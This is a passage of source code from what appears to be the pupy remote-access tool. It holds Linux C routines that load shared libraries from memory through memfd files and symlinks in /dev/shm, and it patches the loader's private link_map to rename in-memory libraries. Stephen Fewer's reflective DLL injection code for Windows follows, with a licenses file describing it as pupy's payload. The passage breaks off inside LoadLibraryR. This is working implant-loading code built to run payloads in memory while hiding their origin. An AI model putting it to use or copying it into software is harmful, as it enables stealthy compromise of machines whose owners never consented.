        dprint("Remap %s - failed, couldn't read maps\n", path);
        return -1;
    }

    if (stat(path, &dl_stat) < 0) {
        dprint("Remap %s - failed, stat() failed: %m\n", path);
        goto lbExit;
    }

    if (dl_stat.st_ino == 0) {
        dprint("Remap %s - failed, stat() failed: st_ino == 0\n", path);
        goto lbExit;
    }

    while (fgets(line_buf, sizeof(line_buf), maps)) {
        char addr1[40], addr2[40], perm[8], offset[40],
            dev[10], inode[40], pathname[PATH_MAX];

        _pmparser_split_line(
            line_buf, addr1, addr2, perm, offset, dev, inode, pathname
        );

        unsigned int s_maj = 0, s_min = 0;
        unsigned short s_dev = 0;

        unsigned long long l_inode = 0;

#if __WORDSIZE == 32
        unsigned int l_addr_start = 0;
        unsigned int l_addr_end = 0;
        unsigned int l_size = 0;

        sscanf(addr1, "%x", &l_addr_start);
        sscanf(addr2, "%x", &l_addr_end);

#else
        unsigned long long l_addr_start = 0;
        unsigned long long l_addr_end = 0;
        unsigned long long l_size = 0;

        sscanf(addr1, "%Lx", &l_addr_start);
        sscanf(addr2, "%Lx", &l_addr_end);
#endif
        l_size = l_addr_end - l_addr_start;

        sscanf(inode, "%Lu", &l_inode);

        sscanf(dev, "%02x:%02x", &s_maj, &s_min);

        s_dev = (unsigned short) ((s_maj << 8 | s_min) & 0xFFFF);

        if (!(s_dev == dl_stat.st_dev && l_inode == dl_stat.st_ino))
            continue;

        dprint("Remap %s - %p - %p (%s)\n", pathname, l_addr_start, l_addr_end, perm);

        int flags = 0;

        if (perm[0] == 'r')
            flags |= PROT_READ;
        if (perm[1] == 'w')
            flags |= PROT_WRITE;
        if (perm[2] == 'x')
            flags |= PROT_EXEC;

        void *new_map = MAP_FAILED;

        if (flags) {
            new_map = mmap(
                NULL, l_size,
                PROT_WRITE | PROT_READ,
                MAP_PRIVATE | MAP_ANONYMOUS,
                -1, 0
            );

            if (new_map == MAP_FAILED) {
                dprint("Remap %s - %p - %p (%s) - failed, new mmap: %m\n",
                       pathname, l_addr_start, l_addr_end, perm);
                continue;
            }

            memcpy(new_map, (void *) l_addr_start, l_size);

            if (flags != (PROT_READ | PROT_WRITE))
                if (mprotect(new_map, l_size, flags) != 0) {
                    dprint("Remap %s - %p - %p (%s) - failed, mprotect: %m\n",
                           pathname, l_addr_start, l_addr_end, perm);
                    munmap(new_map, l_size);
                    remapped = 0;
                    continue;
                }

            if (___mremap(
                 new_map, l_size, l_size,
                 MREMAP_FIXED | MREMAP_MAYMOVE,
                 (void *) l_addr_start) == MAP_FAILED) {
                dprint("Remap %s - %p - %p (%s) - failed, remap: %m\n",
                       pathname, l_addr_start, l_addr_end, perm);
                munmap(new_map, l_size);
                remapped = -1;
            }

        } else {
            dprint("Remap %s - unmap %p - %p (%s) - not required\n",
                   pathname, l_addr_start, l_addr_end, perm);
            munmap((void *) l_addr_start, l_size);
            remapped = 0;
        }
    }

 lbExit:
    dprint("Remap %s - completed\n", path);
    fclose(maps);

    return remapped;
}
#else

int remap(const char *path) {
    return -1;
}

#endif


#if defined(SunOS)
// For some unknown reason malloc doesn't work on newly created LM in Solaris 10
// Fallback to old shitty way of loading libs
// TODO: write own ELF loader
void *_dlopen(int fd, const char *path, int flags, const char *soname) {
    void *handle = dlopen(path, flags | RTLD_PARENT | RTLD_GLOBAL);

    if (fd != -1) {
        unlink(path);
        close(fd);
    }
    return handle;
}
#elif defined(LM_ID_NEWLM) && defined(Linux)

// Part of private link_map structure

struct libname_list;

struct libname_list {
    char *name;
    struct libname_list *next;
    int dont_free;
};

struct link_map_private;

/* Dangerous! Hacked link_map structure */
struct link_map_private {
    void *l_addr;
    char *l_name;
    void *l_ld;
    struct link_map_private *l_next, *l_prev;

    /* ------------- private part starts here ----------------- */

    struct link_map_private *l_real; // dlmopen
    Lmid_t l_ns;                     // dlmopen
    struct libname_list *l_libname;  // ancient

    /* ------------- .... and there much more ----------------- */
};

void *_dlopen(int fd, const char *path, int flags, const char *soname) {
    void *handle = NULL;

#if defined(WIP_LMID)
    static Lmid_t lmid = LM_ID_BASE;
    static int need_lmid_checked = 0;

    if (!need_lmid_checked) {
        if (dlsym(NULL, "PyEval_InitThreads")) {
            lmid = LM_ID_NEWLM;
            dprint("Python library found, require LMID\n");
        } else {
            dprint("Python library not found\n");
        }

        need_lmid_checked = 1;
    }

    if (lmid != LM_ID_BASE) {
        flags &= ~RTLD_GLOBAL;

        if ((flags & RTLD_NOLOAD) && (lmid == LM_ID_NEWLM))
            return NULL;

        dprint("dlmopen(%d, %s, %08x)\n", lmid, path, flags);
        handle = dlmopen(lmid, path, flags);
        dprint("dlmopen(%d, %s, %08x) = %p\n", lmid, path, flags, handle);
        if (lmid == LM_ID_NEWLM && handle) {
            dlinfo(handle, RTLD_DI_LMID, &lmid);
            dprint("memdlopen - dlmopen - new lmid created: %08x\n", lmid);
        }
    } else {
        handle = dlopen(path, flags);
    }

#else
    static Lmid_t lmid = LM_ID_BASE;
    handle = dlopen(path, flags);
#endif

    dprint("memdlopen - dlmopen - _dlopen(lmid=%08x, %s, %s); handle=%p\n", lmid, path, soname, handle);

    if (flags & RTLD_NOLOAD || !handle) {
        return handle;
    }

    bool is_memfd = is_memfd_path(path);
    bool linkmap_hacked = false;

    remap(path);

    if (soname) {
        struct link_map_private *linkmap = NULL;
        dlinfo(handle, RTLD_DI_LINKMAP, &linkmap);

        /* If memfd, then try to verify as best as possible that all that
           addresses are valid. If not - there is no reason to touch this
        */

        if (is_memfd) {
            if (linkmap && linkmap->l_ns == lmid &&
                linkmap->l_libname && linkmap->l_libname->name &&
                !strncmp(linkmap->l_name, linkmap->l_libname->name, strlen(linkmap->l_name))) {

                dprint("memdlopen - change l_name %s|%p (%s|%p) -> %s (linkmap: %p)\n",
                       linkmap->l_name, linkmap->l_name,
                       linkmap->l_libname->name,
                       linkmap->l_libname->name,
                       soname, linkmap);

                /* Do not care about leaks. It's not the worst thing to happen */
                linkmap->l_name = strdup(soname);
                linkmap->l_libname->name = strdup(soname);

                linkmap_hacked = true;
            } else {
                dprint("memdlopen - bad signature (lmid=%08x name1=%s name2=%s)\n",
                       linkmap->l_ns, linkmap->l_name, linkmap->l_libname->name);
            }
        }

        if (!is_memfd || linkmap_hacked) {
            /* If linkmap altered or it's not memfd, then delete/close path/fd */
            if (!is_memfd)
                unlink(path);

            close(fd);
        }
    }

    return handle;
}
#else

/* Linux x86 or any other thing */

void *_dlopen(int fd, const char *path, int flags, const char *soname) {

    /* Try to fallback to symlink hack */

    bool is_memfd = is_memfd_path(path);
    char fake_path[PATH_MAX] = {};

    const char *effective_path = path;

    static const char DROP_PATH[] = "/dev/shm/memfd:";

    if (is_memfd) {
        int i;

        snprintf(fake_path, sizeof(fake_path), "%s%s", DROP_PATH, soname);
        for (i=sizeof(DROP_PATH)-1; fake_path[i]; i++)
            if (fake_path[i] == '/')
                fake_path[i] = '!';

        if (symlink(path, fake_path) == 0) {
            effective_path = fake_path;
            is_memfd = false;
        } else {
            dprint("symlink error %s -> %s: %m\n", path, fake_path);
        }
    }

    void *handle = dlopen(effective_path, flags);

    remap(effective_path);

    if (fd != -1) {
        unlink(effective_path);

        /*
          If all workarounds failed we have nothing to do but leave this as
          is*/

        if (!is_memfd)
            close(fd);
    }
    return handle;
}
#endif

// https://github.com/ouadev/proc_maps_parser/blob/master/pmparser.c
void _pmparser_split_line(
    char *buf, char *addr1, char *addr2,
    char *perm, char *offset, char *device, char *inode,
    char *pathname) {

    int orig=0;
    int i=0;

    while (buf[i] != '-') {
        addr1[i-orig] = buf[i];
        i++;
    }

    addr1[i] = '\0';
    i++;

    orig = i;

    while (buf[i] != '\t' && buf[i] != ' ') {
        addr2[i-orig] = buf[i];
        i++;
    }

    addr2[i-orig] = '\0';

    while (buf[i]=='\t' || buf[i]==' ')
        i++;

    orig = i;

    while (buf[i]!='\t' && buf[i]!=' ') {
        perm[i-orig] = buf[i];
        i++;
    }
    perm[i-orig] = '\0';

    while (buf[i] == '\t' || buf[i] == ' ')
        i++;

    orig = i;
    while (buf[i] != '\t' && buf[i] != ' ') {
        offset[i-orig]=buf[i];
        i++;
    }
    offset[i-orig] = '\0';

    while (buf[i] == '\t' || buf[i] == ' ')
        i++;

    orig = i;
    while (buf[i] != '\t' && buf[i] != ' ') {
        device[i-orig] = buf[i];
        i++;
    }
    device[i-orig]='\0';

    //inode
    while (buf[i] == '\t' || buf[i] == ' ')
        i++;
    orig=i;

    while (buf[i] != '\t' && buf[i] != ' ') {
        inode[i-orig] = buf[i];
        i++;
    }
    inode[i-orig] = '\0';

    //pathname
    pathname[0] = '\0';
    while (buf[i] == '\t' || buf[i] == ' ')
        i++;

    orig = i;
    while (buf[i] != '\t' && buf[i] != ' ' && buf[i] != '\n') {
        pathname[i-orig] = buf[i];
        i++;
    }
    pathname[i-orig] = '\0';
}


void *memdlopen(const char *soname, const char *buffer, size_t size, int flags) {
    dprint("memdlopen(\"%s\", %p, %ull)\n", soname, buffer, size);

    void *base = _dlopen(-1, soname, RTLD_NOLOAD, NULL);
    if (base) {
        dprint("Library \"%s\" loaded from OS\n", soname);
        return base;
    }

    char buf[PATH_MAX]={};

#if defined(DEBUG) || defined(SunOS)
    if (soname)
        strncpy(buf, soname, sizeof(buf)-1);
#endif

    int fd = drop_library(buf, sizeof(buf)-1, buffer, size);

    if (fd < 0) {
        dprint("Couldn't drop library %s: %m\n", soname);
        return NULL;
    }

    dprint("dlopen(%s, %08x)\n", buf, flags);
    base = _dlopen(fd, buf, flags, soname);
    dprint("dlopen(%s, %08x) = %p\n", buf, flags, base);

    if (!base) {
        dprint("Couldn't load library %s (%s): %s\n", soname, buf, dlerror());
        return NULL;
    }

    remap(base);

    dprint("Library %s loaded to %p\n", soname, base);

    return base;
}


================================================
FILE: client/sources-linux-py3/tmplibrary.h
================================================
#ifndef TMPLIBRARY_H
#define TMPLIBRARY_H

#define _GNU_SOURCE
#include <dlfcn.h>

#include <sys/types.h>
#include <stdbool.h>

#include <link.h>

#ifndef RTLD_DI_LINKMAP
#define RTLD_DI_LINKMAP 2
#endif

int _dlinfo(void *handle, int request, void *info);
void *_dlopen(int fd, const char *path, int flags, const char *soname);

void *memdlopen(const char *soname, const char *buffer, size_t size, int flags);
int drop_library(char *path, size_t path_size, const char *buffer, size_t size);
pid_t memexec(const char *buffer, size_t size, const char *const* argv, int stdior[3],
              bool redirected_stdio, bool detach);

int remap(const char *path);

#endif /* TMPLIBRARY_H */


================================================
FILE: client/sources-windows-py3/.gitignore
================================================
import-tab.c
import-tab.h
resources
revision.h


================================================
FILE: client/sources-windows-py3/GetProcAddressR.c
================================================
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "GetProcAddressR.h"
//===============================================================================================//
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
// wont be able to resolve exported addresses in reflectivly loaded librarys.
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
{
    UINT_PTR uiLibraryAddress = 0;
    FARPROC fpResult          = NULL;

    if( hModule == NULL )
        return NULL;

    // a module handle is really its base address
    uiLibraryAddress = (UINT_PTR)hModule;

    __try
    {
        UINT_PTR uiAddressArray = 0;
        UINT_PTR uiNameArray    = 0;
        UINT_PTR uiNameOrdinals = 0;
        PIMAGE_NT_HEADERS pNtHeaders             = NULL;
        PIMAGE_DATA_DIRECTORY pDataDirectory     = NULL;
        PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
            
        // get the VA of the modules NT Header
        pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);

        pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

        // get the VA of the export directory
        pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
            
        // get the VA for the array of addresses
        uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );

        // get the VA for the array of name pointers
        uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
                
        // get the VA for the array of name ordinals
        uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );

        // test if we are importing by name or by ordinal...
        if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
        {
            // import by ordinal...

            // use the import ordinal (- export ordinal base) as an index into the array of addresses
            uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );

            // resolve the address for this imported function
            fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
        }
        else
        {
            // import by name...
            DWORD dwCounter = pExportDirectory->NumberOfNames;
            while( dwCounter-- )
            {
                char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
                
                // test if we have a match...
                if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
                {
                    // use the functions name ordinal as an index into the array of name pointers
                    uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
                    
                    // calculate the virtual address for the function
                    fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
                    
                    // finish...
                    break;
                }
                        
                // get the next exported function name
                uiNameArray += sizeof(DWORD);

                // get the next exported function name ordinal
                uiNameOrdinals += sizeof(WORD);
            }
        }
    }
    __except( EXCEPTION_EXECUTE_HANDLER )
    {
        fpResult = NULL;
    }

    return fpResult;
}
//===============================================================================================//


================================================
FILE: client/sources-windows-py3/GetProcAddressR.h
================================================
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
//     * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
//     * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"

FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
//===============================================================================================//
#endif
//===============================================================================================//


================================================
FILE: client/sources-windows-py3/LICENSES.txt
================================================
The windows reflective DLL and exe payload for pupy contains source code from differents projects with differents licenses.
All the files not from one of these projects is under pupy's license (BSD 3-Clause license)
These projects include :

----------------------------------------------------------------------------------
-py2exe : under MIT License (http://sourceforge.net/projects/py2exe/)
	Copyright (c) 2000-2008 Thomas Heller, Mark Hammond, Jimmy Retzlaff

	Permission is hereby granted, free of charge, to any person obtaining
	a copy of this software and associated documentation files (the
	"Software"), to deal in the Software without restriction, including
	without limitation the rights to use, copy, modify, merge, publish,
	distribute, sublicense, and/or sell copies of the Software, and to
	permit persons to whom the Software is furnished to do so, subject to
	the following conditions:

	The above copyright notice and this permission notice shall be
	included in all copies or substantial portions of the Software.

	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
	EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
	MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
	NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
	LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
	OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
	WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

----------------------------------------------------------------------------------

-ReflectiveDLLInjection from https://github.com/stephenfewer/ReflectiveDLLInjection
	Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
	All rights reserved.

	Redistribution and use in source and binary forms, with or without modification, are permitted 
	provided that the following conditions are met:

	* Redistributions of source code must retain the above copyright notice, this list of 
	conditions and the following disclaimer.

	* Redistributions in binary form must reproduce the above copyright notice, this list of 
	conditions and the following disclaimer in the documentation and/or other materials provided 
	with the distribution.

	* Neither the name of Harmony Security nor the names of its contributors may be used to
	endorse or promote products derived from this software without specific prior written permission.

	THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
	IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
	FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
	CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
	CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
	SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
	THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
	OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
	POSSIBILITY OF SUCH DAMAGE.

----------------------------------------------------------------------------------

-meterpreter (3-clause BSD license)
	Meterpreter is available for use under the following license, commonly known as the
	3-clause (or "modified") BSD license:

	=========================================================================================

	Meterpreter
	-----------

	Copyright (c) 2006-2013, Rapid7 Inc

	Redistribution and use in source and binary forms, with or without modification, are
	permitted provided that the following conditions are met:

	* Redistributions of source code must retain the above copyright notice, this list of
	conditions and the following disclaimer.

	* Redistributions in binary form must reproduce the above copyright notice, this list of
	conditions and the following disclaimer in the documentation and/or other materials
	provided with the distribution.

	* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
	promote products derived from this software without specific prior written permission.

	THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
	EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
	MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
	THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
	SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
	OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
	HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
	TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
	SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.




================================================
FILE: client/sources-windows-py3/LoadLibraryR.c
================================================
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "LoadLibraryR.h"
#include "ReflectiveLoader.h"

#include <stdio.h>
//===============================================================================================//
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress, BOOL is64 )
{    
    WORD wIndex                          = 0;
    PIMAGE_SECTION_HEADER pSectionHeader = NULL;
    PIMAGE_NT_HEADERS32 pNtHeaders32     = NULL;
    PIMAGE_NT_HEADERS64 pNtHeaders64     = NULL;
    
    if (is64) {
        pNtHeaders64 = (PIMAGE_NT_HEADERS64)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);

        pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders64->OptionalHeader) + pNtHeaders64->FileHeader.SizeOfOptionalHeader);

        if( dwRva < pSectionHeader[0].PointerToRawData )
            return dwRva;

        for( wIndex=0 ; wIndex < pNtHeaders64->FileHeader.NumberOfSections ; wIndex++ )
        {   
            if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )           
                return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
        }
    }
    else {
        pNtHeaders32 = (PIMAGE_NT_HEADERS32)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
        
        pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders32->OptionalHeader) + pNtHeaders32->FileHeader.SizeOfOptionalHeader);

        if( dwRva < pSectionHeader[0].PointerToRawData )
            return dwRva;

        for( wIndex=0 ; wIndex < pNtHeaders32->FileHeader.NumberOfSections ; wIndex++ )
        {   
            if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )           
                return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
        }
    }

    return 0;
}
//===============================================================================================//
DWORD GetReflectiveLoaderOffset( const VOID * lpReflectiveDllBuffer )
{
    UINT_PTR uiBaseAddress   = 0;
    UINT_PTR uiExportDir     = 0;
    UINT_PTR uiNameArray     = 0;
    UINT_PTR uiAddressArray  = 0;
    UINT_PTR uiNameOrdinals  = 0;
    DWORD dwCounter          = 0;
    BOOL is64                = 0;
    DWORD dwIdx              = 0;
    DWORD dwReflectiveLoaderSymHashes[] = {
        symhash(REFLECTIVE_LOADER_SYMNAME),
        0x994d06f3, // ReflectiveLoader
        0x6249c9c2, // Loader
        0xda5392de  // RLEp
    };
    DWORD dwSymHashesCnt = sizeof(dwReflectiveLoaderSymHashes) /
        sizeof(dwReflectiveLoaderSymHashes[0]);

    uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

    // get the File Offset of the modules NT Header
    uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

    // process a PE file based on its architecture
    if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
    {
        is64 = FALSE;
        // uiNameArray = the address of the modules export directory entry
        uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS32)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

    }
    else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
    {
        is64 = TRUE;
        // uiNameArray = the address of the modules export directory entry
        uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS64)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

    }
    else
    {
        return 0;
    }

    // get the File Offset of the export directory
    uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress, is64 );

    // get the File Offset for the array of name pointers
    uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress, is64 );

    // get the File Offset for the array of addresses
    uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 );

    // get the File Offset for the array of name ordinals
    uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress, is64 );	

    // get a counter for the number of exported functions...
    dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;

    // loop through all the exported functions to find the ReflectiveLoader
    while( dwCounter-- )
    {
        char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress, is64 ));
        DWORD dwHash = symhash(cpExportedFunctionName);

        for (dwIdx=0; dwIdx < dwSymHashesCnt; dwIdx ++) {
            if (dwReflectiveLoaderSymHashes[dwIdx] != dwHash)
                continue;

            // get the File Offset for the array of addresses
            uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 );	
    
            // use the functions name ordinal as an index into the array of name pointers
            uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

            // return the File Offset to the ReflectiveLoader() functions code...
            return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress, is64 );
        }

        // get the next exported function name
        uiNameArray += sizeof(DWORD);

        // get the next exported function name ordinal
        uiNameOrdinals += sizeof(WORD);
    }

    return 0;
}

#ifdef USE_LOCAL_LOADLIBRARY

//===============================================================================================//
// Loads a DLL image from memory via its exported ReflectiveLoader function
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
{
    HMODULE hResult                    = NULL;
    DWORD dwReflectiveLoaderOffset     = 0;
    DWORD dwOldProtect1                = 0;
    DWORD dwOldProtect2                = 0;
    REFLECTIVELOADER pReflectiveLoader = NULL;
    DLLMAIN pDllMain                   = NULL;

